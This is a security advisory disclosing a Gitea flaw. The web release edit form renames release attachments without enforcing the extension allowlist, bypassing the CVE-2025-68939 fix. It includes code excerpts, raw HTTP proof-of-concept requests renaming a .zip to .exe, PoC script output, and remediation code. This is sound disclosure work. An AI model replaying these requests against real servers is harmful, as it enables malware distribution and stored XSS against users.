Summary The web handler "EditReleasePost" ("routers/web/repo/release.go") reads form fields with prefix "attachment-edit-{uuid}" into a "map[uuid]newName", passes that map to "release_service.UpdateRelease", which writes the new name to the database via "repo_model.UpdateAttachmentByUUID" WITHOUT calling "upload.Verify" against "setting.Repository.Release.AllowedTypes". The parent CVE-2025-68939 fix (PR #32151) added the equivalent "upload.Verify" call on the API edit endpoints via "attachment_service.UpdateAttachment". The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. Details Vulnerable code "routers/web/repo/release.go:597" "EditReleasePost": const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } "services/release/release.go:321" -- the unvalidated write: for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } No "upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)" before the database write. Comparison: the parent fix on the API path "routers/api/v1/repo/release_attachment.go:341" (patched in PR #32151): if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } Delegates to: // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } The API path goes through "attachment_service.UpdateAttachment" which calls "upload.Verify(nil, attach.Name, allowedTypes)". The web path bypasses this entirely. Proof of Concept Tested live against: * Gitea "v1.26.1" community edition, Linux amd64, SQLite, Go 1.26.2 * "app.ini" includes "[repository.release] ALLOWED_TYPES = .zip,.tar.gz" * Two users: "admin" (superuser, created via "gitea admin user create --admin"), "bob" (regular, repo owner of "bob/test-repo") Step 1: bob creates release v0.1 and uploads "innocent.zip" (allowlist compliant) via the API. Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} Response: "HTTP 422" -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). Step 3: The attack. The web release edit form does NOT enforce the allowlist. POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe Response: "HTTP 303 -> /bob/test-repo/releases". The form is accepted with no validation error. Step 4: Verify. GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Response includes ""name": "evil.exe"". The download link "/attachments/<uuid>" now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: "GITEA-R007_release_edit_extension_bypass.py". End to end run: "GITEA-R007_release_edit_extension_bypass.py" (https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set "Repository.Release.AllowedTypes" to a non-empty allowlist (a reasonable hardening posture when restricting release uploads). * Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators. * Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name. * Practical impact: * Distribute malware files (e.g., ".exe", ".dmg", ".msi", ".apk") masquerading as a tagged release attachment * If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin * Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event Suggested remediation Mirror the parent CVE-2025-68939 fix into the web release edit path. In "services/release/release.go UpdateRelease", verify each new name against the configured allowlist before persisting: import ( "code.gitea.io/gitea/modules/setting" "code.gitea.io/gitea/services/context/upload" ) // inside UpdateRelease, replace the editAttachments loop: for uuid, newName := range editAttachments { if deletedUUIDs.Contains(uuid) { continue } if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil { return err } if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } The web handler "EditReleasePost" should map "IsErrFileTypeForbidden" to a 422 response (or equivalent flash error and form re-render) to match the API behavior. Alternative: refactor "attachment_service.UpdateAttachment" to accept a UUID (or expose a "UpdateAttachmentByUUID" variant in the service layer) and have the release service call that instead of the raw model function. Workaround for operators (no Gitea change required) Until a patched release lands, operators can mitigate by either: 1. Removing the "Repository.Release.AllowedTypes" allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. 2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious "attachment-edit-" form fields on POST to "/<owner>/<repo>/releases/edit/" -- viable but operationally fragile. 3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable. A vendor patch is the right answer; the workarounds above are stopgaps. Credit Jose Rivas (bl4cksku111.com) References * Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939) * Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit "7adc4717ec") * CWE-424: https://cwe.mitre.org/data/definitions/424.html * CWE-434: https://cwe.mitre.org/data/definitions/434.html